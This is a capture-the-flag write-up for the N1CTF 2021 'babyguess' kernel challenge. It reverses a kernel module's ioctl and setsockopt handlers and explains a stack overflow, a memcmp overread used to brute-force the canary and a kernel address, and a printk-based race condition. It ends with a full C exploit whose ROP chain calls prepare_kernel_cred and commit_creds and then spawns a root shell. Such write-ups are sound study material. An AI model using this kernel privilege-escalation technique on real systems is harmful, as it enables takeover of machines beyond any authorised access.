# babyguess

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/n1ctf/2021/babyguess>" %}

## The module

Reversing the module isn't the simplest of the tasks, but after reading through it we can notice it registers a new protocol family (family 15), which accepts 2 proto operations (ioctl and setsockopt)

Ioctl calls a function that implements 2 command (`0x1337001` and `0x13371002`).

```c
size_t __fastcall magic_ioctl(__int64 a1, int a2, __int64 a3)
{
  unsigned int v5; // [rsp+1Ch] [rbp-1BCh]
  unsigned __int64 v6; // [rsp+38h] [rbp-1A0h]
  size_t v7; // [rsp+38h] [rbp-1A0h]
  __int64 v8; // [rsp+70h] [rbp-168h]
  __int64 v9; // [rsp+98h] [rbp-140h]
  size_t v10; // [rsp+A0h] [rbp-138h]
  __int64 v11; // [rsp+B8h] [rbp-120h] BYREF
  size_t n; // [rsp+C0h] [rbp-118h]
  __int64 v13; // [rsp+C8h] [rbp-110h]
  char s[256]; // [rsp+D0h] [rbp-108h] BYREF
  unsigned __int64 v15; // [rsp+1D0h] [rbp-8h]

  v15 = __readgsqword(0x28u);
  v5 = -22;
  if ( a2 == 0x13371001 )
    return (unsigned int)check_devinfo_overflow_wp(a3);
  if ( a2 != 0x13371002 )
    return v5;
  memset(s, 0, sizeof(s));
  ret_a3((__int64)&v11, 0x18LL, 0);
  if ( copy_from_user(&v11, a3, 0x18LL) )
    return 0xFFFFFFEALL;
  if ( v11 == 0x1337 )
  {
    v6 = n;
    if ( (__int64)n > 256 )
      v6 = 256LL;
    v8 = v13;
    if ( v6 > 0x7FFFFFFF )
      BUG();
    ret_a3((__int64)s, v6, 0);
    if ( copy_from_user(s, v8, v6) )
      return 4294967274LL;
    if ( !memcmp(&dev_info + 1, s, n) )
      return n;
  }
  else if ( v11 == 0x1338 )
  {
    v7 = n;
    if ( (__int64)n > 256 )
      v7 = 256LL;
    v9 = v13;
    v10 = n;
    if ( n > 0x7FFFFFFF )
      BUG();
    ret_a3((__int64)s, n, 0);
    if ( copy_from_user(s, v9, v10) )
      return 4294967274LL;
    if ( !memcmp(magic_key, s, v7) )
      return v7;
  }
  return 0LL;
}
```

The `0x13371002` ioctl command runs into a very obvious buffer overflow:

```c
    [...]
    v10 = n;
    if ( n > 0x7FFFFFFF )
      BUG();
    ret_a3((__int64)s, n, 0);
    if ( copy_from_user(s, v9, v10) )
    [...]
```

`s` is a `0x100` bytes long buffer and `n` is an user controlled `int64` used as the size on the call to `copy_from_user`. That would have been it if not for two reasons: kaslr and stack guard.

## Controlling dev\_info

There is a global variable called `dev_info` that can be controlled via the setsockopt implementation but it gets XORed against another variable called `magic_key` that is initialized with `get_random_bytes()` when the module is loaded.

```c
__int64 __fastcall edit_devinfo(__int64 a1)
{
  int i; // [rsp+Ch] [rbp-3Ch]
  __int64 v3; // [rsp+18h] [rbp-30h]
  __int64 v4; // [rsp+30h] [rbp-18h]

  v3 = dev_info;
  v4 = dev_info;
  if ( (unsigned __int64)dev_info > 0x7FFFFFFF )
    BUG();
  ret_a3((__int64)(&dev_info + 1), dev_info, 0);
  if ( copy_from_user(&dev_info + 1, a1, v4) )
    return -22LL;
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)&dev_info + i + 8) ^= magic_key[i];
  return v3;
}
```

The `dev_info` structure is composed by an `int64` that is again used as the size for `copy_from_user` and the user controlled data that will be XORed and stored. This data is later used on the ioctl operation on a `memcmp`  that returns the user provided size `n` case the comparison is true, so we can abuse this to brute the bytes of `dev_info`.

```c
  if ( v11 == 0x1337 )
  {
    v6 = n;
    if ( (__int64)n > 256 )
      v6 = 256LL;
    v8 = v13;
    if ( v6 > 0x7FFFFFFF )
      BUG();
    ret_a3((__int64)s, v6, 0);
    if ( copy_from_user(s, v8, v6) )
      return 4294967274LL;
    if ( !memcmp(&dev_info + 1, s, n) )
      return n;
  }
```

The whole point of getting those bytes is because there is a buffer overread on that comparison, so if we can force the first `0x100` bytes of `s` and `dev_info` to be identical we can keep bruting everything after them, which will be the stack canary and eventually the return address but for this to work we need another buffer overflow, this time in `dev_info`, so we can stored the bytes we want to compare.

## Race condition

We can't normally control the size of `dev_info` but there is this function that can be called by the ioctl operation:

```c
__int64 __fastcall check_devinfo_overflow(unsigned __int64 a1)
{
  __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = dev_info;
  dev_info = a1;
  if ( a1 > 0x100 )
  {
    printk(&unk_F6C);
    dev_info = v2;
  }
  return 0LL;
}
```

This temporarily sets the `dev_info` size field to an user provided `unsigned int64`. If we create a thread that will call this function and at the same time we write to `dev_info`, that way we can write more than `0x100` bytes. Since the printk call is pretty slow compared to the rest of the code, we can build a pretty stable race condition.

If we combine this race condition with the `memcmp` bruteforce we can obtain the stack canary and the return address. SMEP and SMAP are also on so we'll need to ROP also.

## Final Exploit

```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>

int sock;

/* Guessed struct */
typedef struct {
    long opt;
    size_t n;
    char *buf;
} magic_t;

/* Backup registers */
unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;
void bak(){
    __asm__(
    ".intel_syntax noprefix;"
        "mov bak_cs, cs;"
        "mov bak_ss, ss;"
        "mov bak_rsp, rsp;"
        "pushf;"
        "pop bak_rflags;"
        ".att_syntax;"
    );
    puts("[+]Registers backed up");
}

/* Helper functions */
void debug(){
    puts("paused execution");
    getchar();
}

void open_sock(){
    sock = socket(15,SOCK_DGRAM,0);
    puts("[+]Created socket");
}

void magic_bof(size_t n, char *buf){
    magic_t magic = {
        .opt = 0x1338,
        .n = n,
        .buf = buf
    };
    ioctl(sock,0x13371002,&magic);
}

size_t magic_overread(size_t n, char *buf){
    magic_t magic = {
        .opt = 0x1337,
        .n = n,
        .buf = buf
    };
    return ioctl(sock,0x13371002,&magic);
}

void *racer(){
    /* Control dev_info->size */
    while (1){
        ioctl(sock,0x13371001,0x150);
    }
}

size_t magic_devinfo(){
    return syscall(54,sock,NULL,0xdeadbeef,0xdead000,NULL);
}

void bin_sh(){
    close(sock);
    printf("[+]UID: %d\n",getuid());
    system("/bin/sh");
}
unsigned long bak_rip = (unsigned long)bin_sh;

void* gen_payload(unsigned long canary, unsigned long kaslr){
    char *payload = malloc(0x200);

    unsigned long *rop = (unsigned long)payload+0x100;

    *rop++ = canary; // canary
    *rop++ = 0;
    *rop++ = 0xffffffff8108cbc0 + kaslr; // pop rdi
    *rop++ = 0;
    *rop++ = 0xffffffff810cac80 + kaslr; // prepare_kernel_cred
    *rop++ = 0xffffffff81125f92 + kaslr; // pop rdx
    *rop++ = -1;
    *rop++ = 0xffffffff8103455d + kaslr; // cmp rdx,-1
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = 0xffffffff81278f23 + kaslr; // mov rdi,rax
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = 0xffffffff810ca910 + kaslr; // commit_creds
    *rop++ = 0xffffffff81c00a34 + 22 + kaslr; // kpti trampoline
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = bak_rip;
    *rop++ = bak_cs;
    *rop++ = bak_rflags;
    *rop++ = bak_rsp;
    *rop++ = bak_ss;

    return payload;
}

/* Exploit */
int main(){
    pthread_t rcr;

    bak();
    char* overflow = mmap((void*)0xdead000, 1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);
    memset(overflow,0x41,1000);

    open_sock();
    magic_devinfo();

    char *brute = calloc(1, 256);
    unsigned long *leak = calloc(1, 0x150);

    /* Bruteforce dev_info and do race condition to trigger overread */
    bool bruted = false;
    size_t ret;
    pthread_create(&rcr, NULL, racer, NULL);
    puts("[+]Leaking canary");

    for (size_t i = 0x101; i <= 0x150; i++){
        for (int j = 0; j < 0x100; j++){
            overflow[i-1] = (char)j;

            do{
                ret = magic_devinfo(); // writes into dev_info
            } while(!ret);


            if(!bruted){
                for(size_t i1 = 1; i1 <= 0x100; i1++){
                    for(int j1 = 0; j1 < 0x100; j1++){
                            brute[i1-1] = (char)j1;
                            if (magic_overread(i1, brute)){
                                break;
                            }
                    }
                }
                bruted = true;
            }


            if (magic_overread(i, brute)){
                ((char*)leak)[i-1] = j;
                break;
            }
        }
    }
    pthread_cancel(rcr);


    unsigned long canary = leak[32];
    unsigned long kaslr = leak[34] - 0xffffffff81902b1d;

    void* payload = gen_payload(canary, kaslr);

    /* Trigger buffer overflow */
    printf("[+]Buffer overflow\n");
    magic_bof(0x200, payload);

    return 0;
}
```

Huge shoutout to my teammate Caue Obici for solving this with me!
